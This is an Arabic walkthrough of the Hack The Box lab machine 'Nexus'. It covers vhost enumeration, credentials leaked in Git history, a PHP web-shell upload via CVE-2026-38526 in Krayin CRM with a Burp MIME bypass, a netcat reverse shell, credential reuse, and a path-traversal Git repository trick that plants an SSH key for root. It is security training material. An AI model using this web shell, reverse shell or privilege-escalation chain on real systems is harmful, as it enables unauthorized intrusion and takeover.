🏴‍☠️ مختبرات HTB - Nexus

الإنجليزية 🇺🇸 | الإسبانية 🇪🇸

English | Español

📋 نظرة عامة

Nexus هي آلة لينكس بسهولة متوسطة (Easy) من Hack The Box توضح سلسلة هجوم متعددة المراحل تشمل تعداد المضيفات الافتراضية، كشف بيانات الاعتماد، استغلال وظائف تطبيق ويب ضعيفة، تنفيذ الأكواد عن بُعد، إعادة استخدام بيانات الاعتماد، وتصعيد الصلاحيات محليًا.

سلسلة الهجوم

الاستطلاع
      │
      ▼
تعداد المضيفات الافتراضية
      │
      ├── git.nexus.htb
      └── billing.nexus.htb
              │
              ▼
      سجل التزامات Gitea
              │
              ▼
       بيانات اعتماد مكشوفة
              │
              ▼
        تسجيل دخول Krayin CRM
              │
              ▼
      CVE-2026-38526
              │
              ▼
        قشرة PHP
              │
              ▼
       قشرة عكسية
        (www-data)
              │
              ▼
       ملف .env للتطبيق
              │
              ▼
        SSH بصلاحية jones
              │
              ▼
   gitea-template-sync
              │
              ▼
       اجتياز المسار
              │
              ▼
    مستودع Git خبيث
              │
              ▼
         SSH بصلاحية root

التقنيات الرئيسية

• 🔍 تعداد المضيفات الافتراضية
• 🔑 اكتشاف بيانات الاعتماد عبر سجل التزامات Git
• 💻 استغلال Krayin CRM
• 🐚 قشرة PHP وقشرة عكسية
• 🔐 إعادة استخدام بيانات الاعتماد
• 🔬 تعداد خدمات لينكس
• 📂 اجتياز المسار
• 🌳 إنشاء مستودع Git خبيث
• 👑 تصعيد الصلاحيات إلى root

عنوان IP المستهدف: 10.129.82.92

🔍 المرحلة 1: الاستطلاع

فحص المنافذ

nmap -p- -sV -sC -oN nexus_full_scan.txt 10.129.82.92

النتائج

22/tcp  open  ssh   OpenSSH 9.6p1 Ubuntu
80/tcp  open  http  nginx 1.24.0 (Ubuntu)

تعداد المضيفات الافتراضية

gobuster vhost \
-u http://nexus.htb \
-w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-5000.txt \
--append-domain

المضيفات المكتشفة

git.nexus.htb       → Gitea
billing.nexus.htb   → Krayin CRM

أضف المضيفات المكتشفة إلى /etc/hosts:

echo "10.129.82.92 nexus.htb git.nexus.htb billing.nexus.htb" | sudo tee -a /etc/hosts

🔑 المرحلة 2: اكتشاف بيانات الاعتماد

تعداد Gitea

انتقل إلى:

http://git.nexus.htb

مستودع باسم:

admin/krayin-docker-setup

يحتوي على معلومات مفيدة في سجل Git الخاص به.

يمكن استعادة ملف .env من الالتزامات السابقة، مما يكشف عن بيانات اعتماد لم تعد موجودة في النسخة الحالية.

بيانات الاعتماد المكتشفة

كما تم تحديد عنوان البريد الإلكتروني [email protected] في قسم التوظيف بالموقع الرئيسي.

💻 المرحلة 3: CVE-2026-38526 : Krayin CRM

تسجيل دخول CRM

URL: http://billing.nexus.htb/admin/login

Email: [email protected]
Password: N27xh!!2ucY04

رفع القشرة

انتقل إلى:

/admin/mail/sent

ثم:

1. انقر على Compose Mail.
2. أرفق حمولة PHP.
3. اعترض الطلب باستخدام Burp Suite.
4. عدّل اسم الملف المرفوع.
5. غيّر نوع MIME.
6. أعد توجيه الطلب.

يتم تخزين الحمولة في:

exploits/CVE-2026-38526/shell.php

الحمولة:

<?php system($_GET["cmd"]); ?>

حقول multipart ذات الصلة هي:

Content-Disposition: form-data; name="attachments[]"; filename="shell.php"
Content-Type: application/x-php

القشرة

بعد الرفع الناجح:

http://billing.nexus.htb/storage/emails/2/shell.php?cmd=id

النتيجة المتوقعة:

uid=33(www-data) gid=33(www-data) groups=33(www-data)

📡 المرحلة 4: القشرة العكسية

ابدأ مستمعًا:

nc -lvnp 4444

ثم قم بتشغيل القشرة العكسية عبر القشرة المرفوعة.

تتوفر نسخة Python في:

exploits/CVE-2026-38526/reverse_shell.py

في هذه المرحلة يتم الحصول على القشرة بصلاحية:

www-data

🐚 المرحلة 5: وصول المستخدم

قراءة إعدادات التطبيق

افحص إعدادات Krayin:

cat /var/www/krayin/.env

يتم العثور على بيانات الاعتماد:

DB_USERNAME=krayin
DB_PASSWORD=y27xb3ha!!74GbR

تعداد المستخدمين

cat /etc/passwd | grep sh$

يتم تحديد حساب jones.

SSH بصلاحية jones

ssh [email protected]

كلمة المرور:

y27xb3ha!!74GbR

علم المستخدم

f20cbf9aeb6bb228d356a42ff49c1933

🔬 المرحلة 6: تصعيد الصلاحيات

تعداد الخدمات

systemctl list-units | grep -i gitea

يتم تحديد الخدمة والمؤقت التاليين:

gitea-template-sync.timer
gitea-template-sync.service

تعمل الخدمة بصلاحيات مرتفعة.

السكربت القابل للاستغلال

/etc/gitea/template-sync.py

تستخدم آلية المزامنة بناء مسار يمكن استغلاله عبر اجتياز المسار.

🎯 المرحلة 7: مستودع Git خبيث

أنشئ زوج مفاتيح SSH:

ssh-keygen -t ed25519 -f /tmp/nexus_root -N ""
cat /tmp/nexus_root.pub

يقع استغلال معالجة كائنات Git في:

exploits/gitea_template_sync/exploit_git.py

أنشئ المستودع:

cd /tmp
rm -rf exploit
mkdir exploit
cd exploit

git init
python3 exploit_git.py

يجب أن يستخدم المستودع فرع:

main

رمز Gitea

أنشئ رمز وصول شخصي عبر:

http://git.nexus.htb

انتقل إلى:

Settings → Applications

ثم قم بتكوين الريبو البعيد:

git remote set-url origin http://jones:[email protected]/jones/exploit.git

ادفع المستودع الخبيث:

git push -f origin main

⏰ المرحلة 8: مزامنة القوالب

راقب سجل المزامنة:

tail -f /var/log/template-sync.log

تؤدي المزامنة الناجحة إلى معالجة شجرة Git الخبيثة بواسطة الخدمة المميزة.

مثال:

[2026-08-27 02:01:30] Syncing template: jones/exploit
[2026-08-27 02:01:30]   synced: ../../../../../root/.ssh/authorized_keys
[2026-08-27 02:01:30] Template sync complete

👑 المرحلة 9: الجذر

بمجرد كتابة المفتاح العام SSH في حساب الجذر:

ssh -i /tmp/nexus_root [email protected]

تحقق من الوصول:

whoami

المتوقع:

root

استرجع علم الجذر:

cat /root/root.txt

علم الجذر

85be1d2a3084e387da0e7dd118908c63

🏆 الأعلام

🔐 بيانات الاعتماد

تنتمي بيانات الاعتماد هذه إلى بيئة مختبر Hack The Box الموثقة في هذا المستودع.

🛠️ الأدوات

📁 هيكل المستودع

htb-labs-nexus/
├── README.md
├── exploits/
│   ├── CVE-2026-38526/
│   │   ├── shell.php
│   │   ├── reverse_shell.py
│   │   └── burp_request.txt
│   └── gitea_template_sync/
│       ├── exploit_git.py
│       ├── create_repo.sh
│       └── key.pub
├── scripts/
│   ├── linpeas.sh
│   ├── LinEnum.sh
│   └── enum_services.sh
├── assets/
│   ├── nmap_scan.txt
│   ├── gobuster_vhost.txt
│   └── credentials.txt
├── screenshots/
│   ├── gitea_repo.png
│   ├── crm_login.png
│   ├── webshell.png
│   └── root_flag.png
└── notes/
    ├── methodology.md
    ├── commands.md
    └── credentials.md

📚 موارد إضافية

• CVE-2026-38526
• Krayin CRM
• توثيق Gitea
• OWASP Path Traversal

⚠️ إخلاء المسؤولية

هذا المستودع مخصص لأغراض تعليمية واختبارات الأمان المصرح بها فقط.

يجب عدم استخدام التقنيات وبيانات الاعتماد والاستغلالات والأوامر الموثقة هنا ضد أي أنظمة دون إذن صريح.

🎯 النقاط الرئيسية المستفادة

1. 🔍 قم بتعداد المضيفات الافتراضية: قد تكون الخدمات المهمة مخفية خلف نطاقات فرعية.
2. 🔑 راجع سجل Git: إزالة سر من ملف لا تعني اختفاءه من سجل المستودع.
3. 💻 حلل رفع الملفات: يمكن أن يكون التحقق من الامتداد ونوع MIME ضوابط أمنية حاسمة.
4. 🐚 قم بالتعداد بعد الحصول على قشرة: قد تحتوي ملفات الإعدادات على بيانات اعتماد قابلة لإعادة الاستخدام.
5. 🔬 راجع الخدمات المميزة: يمكن أن تصبح الخدمة التي تعمل بصلاحية root ناقلًا لتصعيد الصلاحيات.
6. 📂 تحقق من صحة مسارات الملفات: يمكن أن يؤدي التعامل غير الآمن مع المسارات التي يتحكم بها المستخدم إلى ثغرات اجتياز المسار.
7. 🌳 يمكن أن يصبح Git ناقل هجوم: يمكن التلاعب بكائنات وأشجار Git عندما يثق التطبيق في بنيتها بشكل غير صحيح.

🙏 الشكر والتقدير

• Hack The Box : الآلة ومنصة المختبر
• P3lured : الشرح الأصلي
• Tran Manh Tan : دليل تكميلي

⭐ إذا وجدت هذا الشرح مفيدًا، فكر في منح المستودع نجمة.